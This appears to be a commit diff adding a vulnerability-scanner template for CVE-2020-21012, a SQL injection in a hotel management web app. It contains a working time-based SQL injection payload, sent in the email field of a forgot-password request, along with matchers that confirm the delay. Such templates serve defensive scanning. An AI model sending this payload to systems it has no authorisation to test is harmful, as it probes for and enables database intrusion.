commit
5e9c6e0462
|
@ -0,0 +1,34 @@
|
||||||
|
id: CVE-2020-21012
|
||||||
|
|
||||||
|
info:
|
||||||
|
name: Sourcecodester Hotel and Lodge Management System 2.0 - SQL Injection
|
||||||
|
author: edoardottt
|
||||||
|
severity: critical
|
||||||
|
description: |
|
||||||
|
Sourcecodester Hotel and Lodge Management System 2.0 is vulnerable to unauthenticated SQL injection and can allow remote attackers to execute arbitrary SQL commands via the email parameter to the edit page for Customer, Room, Currency, Room Booking Details, or Tax Details.
|
||||||
|
reference:
|
||||||
|
- https://github.com/hitIer/web_test/tree/master/hotel
|
||||||
|
- https://www.sourcecodester.com/php/13707/hotel-and-lodge-management-system.html
|
||||||
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-21012
|
||||||
|
classification:
|
||||||
|
cve-id: CVE-2020-21012
|
||||||
|
metadata:
|
||||||
|
verified: true
|
||||||
|
tags: cve,cve2020,hotel,sqli,unauth
|
||||||
|
|
||||||
|
requests:
|
||||||
|
- raw:
|
||||||
|
- |
|
||||||
|
POST /forgot_password.php HTTP/1.1
|
||||||
|
Host: {{Hostname}}
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
|
||||||
|
btn_forgot=1&email=1%27%20or%20sleep(6)%23
|
||||||
|
|
||||||
|
matchers:
|
||||||
|
- type: dsl
|
||||||
|
dsl:
|
||||||
|
- 'duration>=6'
|
||||||
|
- 'status_code == 200'
|
||||||
|
- 'contains(body, "Hotel Booking System")'
|
||||||
|
condition: and
|
Loading…
Reference in New Issue